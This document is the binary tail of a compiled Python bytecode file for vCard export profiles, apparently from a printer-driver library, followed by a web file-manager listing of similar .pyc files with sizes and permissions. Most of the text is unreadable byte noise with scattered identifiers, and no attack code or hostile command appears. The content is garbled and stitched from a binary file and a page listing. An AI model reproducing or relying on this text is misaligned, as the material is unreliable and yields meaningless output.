nM7 U$)Nr'r6rr�z
TYPE=INTERNET)r��minrr)r�)r�r�r��_idxr�s     r�out_email_scp6600r�,sa��
�C��c�#�d�)�Q�'�(���J���5�5��$����8�G�o�%6��G�*�i�1�
1�C�	)��Jrc�n�U(a.USRSS5(a[SSUSSU5$g)Nrr)r�r'�r)r�r�s  r�out_url_scp660r�8s5����Q����E�4�(�(���t�T�!�W�U�^�Y�?�?�
rc��UHPnURSS5S:XaSnOSn[SSU-/SVs/sHoBRUS5PM snU5s $ gs snf)	Nrrr�r�r�zTYPE=%sr�r'r�)r�r�r��_typer�s     r�out_adr_scp6600r�>sl��
���5�5����&�(��E��E���	�E� 1�2�/t�u�/t�!���q�"��/t�u�!�#�	#����vs�A)�names�
wallpapers�	addresses�numbersrY�emails�urlsr^�flags�memos�serialsc���Ub-[UVs/sHo3[;dMUPM sn5S:XdeUSnWR"5nUR"[	SSSS55 UR"[	SSUSS55 Uc[nO[Vs/sHo3U;dM
UPM nnUH�nX0;dM
X1;dMXnSUR
RSUR
R;a
U"XXASS	9nOU"XU5n[U5(dMpUR"U5 M� UR"[	S
SSU55 UR"5$s snfs snf)Nr�
_formatterrsr�r�r�r��_limit)r�rt)	r�_field_order�StringIO�writer��__code__�co_varnames�co_argcount�getvalue)	�entry�profile�limit_fieldsr;�fmt�io�fieldsr�r�s	         r�output_entryrQsA��"�-��|�E�|�!��/D�A�|�E�F�!�K�K�K�
�,�
�C�	����B��H�H�X�g�t�W�d�
3�4��H�H�X�i��w�z�':�D�
A�B�����)�?�\��,�->�!�\��?�
���:�!�,��:�D��$�-�-�3�3�4N�T�]�]�5N�5N�O�O��U�X�s�H�4E�F���U�X�s�+���5�z�z��������H�H�X�e�T�7�C�
0�1�
�;�;�=���1F��@s�
E$�E$�	E)�%E)z2.1)
rrr�r�rYr�r�r�r�r�rz3.0r�rYr�r)r�r�r�r�z
vCard v2.1)�descriptionrz
vCard v3.0�ApplezFull vCard v3.0zSanyo SCP-6600 (Katana))�vcard2�vcard3r��fullv3�scp6600r�)r�r)r)rrr)K�gr�r�r�rr�_boms�encodings.utf_64�	encodingsr��BOM64_BE�BOM64_LE�encodings.utf_32�	BOM_UTF32�BOM_UTF32_BE�BOM_UTF32_LE�encodings.utf_16�	BOM_UTF16�BOM_UTF16_BE�BOM_UTF16_LE�encodings.utf_8�BOM_UTF8�maxr�
_maxbomlenr�compilerr"r#rr$r+r(r9r>rDr/r�rLrUr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr�profile_vcard2�copy�profile_vcard3�
profile_apple�profile_full�profile_scp6600rN�profiles)�bom�codecs00r�<module>r4s���F��
�
�	�	�	�
�	����
�\�\�F�O�O�X�.�0�
�\�\�F�O�O�X�.�0���
�\�\�F�$�$�h�/�1�
�\�\�F�'�'��2�4�
�\�\�F�'�'��2�4���
�\�\�F�$�$�h�/�1�
�\�\�F�'�'��5�7�
�\�\�F�'�'��5�7�
��
�\�\�F�O�O�W�-�/����@�B����@�B��E�2�E�y�s�#�c�(�E�2�
3�
��"�Z�Z�	�
"�
�
�Z�Z�
�
&�
��z�z�,�'��
�
�$�A�6
)�	�3�>$�,)�.	�Y�	�
a�a�J)�)�ZT	 �T	 �pP�
E�
K�
&��7��/�1�/�d�>�"�=�
�<5�1�	�
���	������6�,Y�
�&	��	�L���@�
��	��
���
�	��� �$�$�&��.��|��"��z���#�#�%�
�2�
�l���"�"�$����X���#�#�%���L�!����
��
����)�^�E�(�^�E�#�]�E�-�,�G�5�'�*����w*���������
���3s7�>K*�$AK2�AK:�!L�&L

�*K/�2K7�:K?�L

Filemanager

Name Type Size Permission Actions
CdmWifi.cpython-313.pyc File 16.36 KB 0644
LedmWifi.cpython-313.pyc File 32.9 KB 0644
__init__.cpython-313.pyc File 194 B 0644
avahi.cpython-313.pyc File 2.54 KB 0644
codes.cpython-313.pyc File 24.52 KB 0644
device.cpython-313.pyc File 119.56 KB 0644
dime.cpython-313.pyc File 4.41 KB 0644
exif.cpython-313.pyc File 32.61 KB 0644
g.cpython-313.pyc File 21.39 KB 0644
imageprocessing.cpython-313.pyc File 40.63 KB 0644
imagesize.cpython-313.pyc File 7.26 KB 0644
ldif.cpython-313.pyc File 18.57 KB 0644
local.cpython-313.pyc File 2.31 KB 0644
logger.cpython-313.pyc File 22.16 KB 0644
magic.cpython-313.pyc File 64.16 KB 0644
maint.cpython-313.pyc File 68.32 KB 0644
mdns.cpython-313.pyc File 12.97 KB 0644
mfpdtf.cpython-313.pyc File 11.25 KB 0644
models.cpython-313.pyc File 21.22 KB 0644
module.cpython-313.pyc File 28.83 KB 0644
os_utils.cpython-313.pyc File 2.97 KB 0644
password.cpython-313.pyc File 13.44 KB 0644
pkit.cpython-313.pyc File 15.27 KB 0644
pml.cpython-313.pyc File 26.85 KB 0644
queues.cpython-313.pyc File 18.9 KB 0644
services.cpython-313.pyc File 11.37 KB 0644
six.cpython-313.pyc File 27.04 KB 0644
sixext.cpython-313.pyc File 8.11 KB 0644
slp.cpython-313.pyc File 8.03 KB 0644
smart_install.cpython-313.pyc File 11.66 KB 0644
status.cpython-313.pyc File 74.51 KB 0644
strings.cpython-313.pyc File 38.94 KB 0644
tui.cpython-313.pyc File 18.18 KB 0644
utils.cpython-313.pyc File 115.18 KB 0644
validation.cpython-313.pyc File 5.31 KB 0644
vcard.cpython-313.pyc File 45.18 KB 0644
wifi.cpython-313.pyc File 24.22 KB 0644
Filemanager